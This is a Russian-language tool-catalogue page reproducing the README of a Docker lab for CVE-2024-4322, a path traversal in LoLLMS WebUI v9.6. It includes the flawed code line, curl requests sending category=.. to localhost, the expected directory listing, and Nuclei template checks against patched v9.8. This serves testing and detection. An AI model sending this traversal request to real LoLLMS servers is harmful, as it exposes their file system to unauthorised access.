Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/mj-bin/poc_cve-2024-4322
Анализ уязвимостейЭксплуатацияВеб-безопасностьCTFОбучение и ОбразованиеЛаборатории и Практика
GitHubmj-bin/poc_cve-2024-4322

POC_CVE-2024-4322

POC_CVE-2024-4322

Репозиторий
14 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-4322: Лаборатория PoC и валидации Nuclei для LoLLMS WebUI

Этот репозиторий предоставляет локализованные Docker-лаборатории для воспроизведения CVE-2024-4322 — уязвимости обхода пути (path traversal) в LoLLMS WebUI v9.6, а также для проверки того, что соответствующий шаблон Nuclei не срабатывает на LoLLMS WebUI v9.8.

Используйте эту лабораторию только против локальных, собственных или явно авторизованных целей.

Краткое описание уязвимости

Конечная точка /list_personalities в LoLLMS WebUI v9.6 уязвима к обходу пути. Пользовательский параметр category добавляется к personalities_zoo_path без санитизации:

root@kitploit:~
personalities_dir = lollmsElfServer.lollms_paths.personalities_zoo_path/f'{category}'

Отправив category=.., запрос может выйти за пределы целевой директории personalities и отобразить содержимое родительской директории.

Ожидаемый сигнал уязвимости:

root@kitploit:~
category=   -> []
category=.. -> response contains "personalities_zoo"

Исправленное поведение в v9.8 отклоняет попытку обхода до листинга директории.

Матрица лабораторий

СредаВерсияСервисURL хостаОжидаемый результат шаблона
Linux уязвимыйv9.6linux-vuln-serverhttp://127.0.0.1:9600совпадает
Linux исправленныйv9.8linux-patched-serverhttp://127.0.0.1:9602не совпадает
Windows уязвимыйv9.6windows-vuln-serverhttp://127.0.0.1:9601совпадает
Windows исправленныйv9.8windows-patched-serverhttp://127.0.0.1:9603не совпадает

Выполняйте все команды из каталога, содержащего этот README.

Linux: Уязвимая лаборатория

1. Запуск сервера

root@kitploit:~
docker compose up --build -d linux-vuln-server
docker compose logs -f linux-vuln-server

Дождитесь:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

Нажмите Ctrl-C, чтобы остановить отслеживание логов. Контейнер продолжит работу.

2. Проверка HTTP-поведения

root@kitploit:~
curl -sS 'http://127.0.0.1:9600/list_personalities?category=' | jq .
curl -sS 'http://127.0.0.1:9600/list_personalities?category=..' | jq .

Ожидаемый результат:

root@kitploit:~
[]
["personalities_zoo","extensions_zoo","bindings_zoo","models_zoo"]

Порядок может отличаться. Важный сигнал — ответ при обходе отличается от контрольного и содержит personalities_zoo.

3. Валидация с помощью Nuclei

root@kitploit:~
nuclei -duc -validate -t templates/CVE-2024-4322.yaml
nuclei -duc -u http://127.0.0.1:9600 -t templates/CVE-2024-4322.yaml -debug

Ожидаемый результат:

root@kitploit:~
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9600/list_personalities?category=..

Проверка Nuclei для уязвимого Linux

Linux: Исправленная лаборатория

1. Запуск сервера

root@kitploit:~
docker compose --profile patched up --build -d linux-patched-server
docker compose --profile patched logs -f linux-patched-server

Дождитесь:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

2. Проверка HTTP-поведения

root@kitploit:~
curl -i 'http://127.0.0.1:9602/list_personalities?category='
curl -i 'http://127.0.0.1:9602/list_personalities?category=..'

Ожидаемый результат:

root@kitploit:~
category=   -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}

3. Валидация с помощью Nuclei

root@kitploit:~
nuclei -duc -u http://127.0.0.1:9602 -t templates/CVE-2024-4322.yaml

Ожидаемый результат:

root@kitploit:~
[INF] Scan completed ... 0 matches found.

Проверка Nuclei для исправленного Linux

Windows: Уязвимая лаборатория

Для этого требуется Docker Desktop в режиме Windows containers. Выполняйте команды ниже из этого каталога в PowerShell.

1. Запуск сервера

root@kitploit:~
docker compose --profile windows up --build -d windows-vuln-server
docker compose --profile windows logs -f windows-vuln-server

Дождитесь:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

2. Проверка HTTP-поведения

root@kitploit:~
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category="
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category=.."

Ожидаемый результат:

root@kitploit:~
[]
["bindings_zoo","extensions_zoo","models_zoo","personalities_zoo"]

Порядок может отличаться. Важный сигнал — ответ при обходе отличается от контрольного и содержит personalities_zoo.

3. Валидация с помощью Nuclei

root@kitploit:~
nuclei -duc -u http://127.0.0.1:9601 -t .\templates\CVE-2024-4322.yaml -debug

Ожидаемый результат:

root@kitploit:~
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9601/list_personalities?category=..

Проверка Nuclei для уязвимого Windows

Windows: Исправленная лаборатория

Для этого требуется Docker Desktop в режиме Windows containers. Выполняйте команды ниже из этого каталога в PowerShell.

1. Запуск сервера

root@kitploit:~
docker compose --profile windows up --build -d windows-patched-server
docker compose --profile windows logs -f windows-patched-server

Дождитесь:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

2. Проверка HTTP-поведения

root@kitploit:~
curl.exe -i "http://127.0.0.1:9603/list_personalities?category="
curl.exe -i "http://127.0.0.1:9603/list_personalities?category=.."

Ожидаемый результат:

root@kitploit:~
category=   -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}

3. Валидация с помощью Nuclei

root@kitploit:~
nuclei -duc -u http://127.0.0.1:9603 -t .\templates\CVE-2024-4322.yaml

Ожидаемый результат:

root@kitploit:~
[INF] Scan completed ... 0 matches found.

Проверка Nuclei для исправленного Windows

Очистка

Контейнеры Linux:

root@kitploit:~
docker compose --profile patched down --rmi local

Контейнеры Windows:

root@kitploit:~
docker compose --profile windows down

Требования

  • Docker и Docker Compose.
  • Docker Desktop в режиме контейнеров Windows для Windows-лабораторий.
  • curl.
  • jq для примеров HTTP на уязвимом Linux.
  • Nuclei для валидации шаблонов.

Если jq недоступен на хосте Linux, используйте контейнер аналитика:

root@kitploit:~
docker compose --profile tools run --rm analyst sh
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=' | jq .
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=..' | jq .

Если Nuclei не установлен в Windows, загрузите бинарный файл для Windows с https://github.com/projectdiscovery/nuclei/releases, распакуйте его и запустите nuclei.exe напрямую из извлеченного каталога.

Примечания по настройке лаборатории

Dockerfile'ы исправляют исторические установщики во время сборки, чтобы лабораторию можно было воспроизвести сегодня:

  • Уязвимые лаборатории клонируют тег lollms-webui v9.6.

  • Исправленные лаборатории клонируют тег lollms-webui v9.8.

  • URL подмодуля lollms_core переписывается на https://github.com/ParisNeo/lollms_legacy.git, поскольку старая история исходного кода была перенесена туда.

  • Привязка версий проверяется по метаданным Git из upstream: v9.6 — e2f2d313cd6ea3fe81dfc4496f985f5b650853b9, а v9.8 — 8a8e3a1c386321f641a014bf8f7029512ccad411.

    root@kitploit:~
    git ls-remote --tags https://github.com/ParisNeo/lollms-webui.git refs/tags/v9.6 refs/tags/v9.8
    
  • Соответствующие коммиты подмодуля lollms_core: cfb18f6f1091addf440347322441ab28005a2d3b для v9.6 и 6f45b1ca828e9f75ca3ed38aaf0d04d0f72a0a49 для v9.8, проверенные с помощью git ls-tree HEAD lollms_core при каждом создании тега.

  • Опции auto_update и auto_sync_* отключены, чтобы каждая лаборатория оставалась зафиксированной.

  • Внедряются headless-конфигурационные файлы, чтобы сервер мог запускаться без запросов.

  • Тяжелые зависимости, не нужные для проверки конечных точек, по возможности пропускаются.

  • Установщики Windows исправлены, чтобы создать свою временную директорию и избежать устаревших рекурсивных подмодулей.

Обоснование исправления

Нарушенный инвариант:

root@kitploit:~
resolved path must stay inside the personalities directory

LoLLMS WebUI v9.8 и новее решают проблему, санитируя или ограничивая путь category до того, как он достигнет логики листинга каталогов файловой системы. Для реальных развертываний обновите LoLLMS WebUI до версии 9.8 или новее.

Скачать инструмент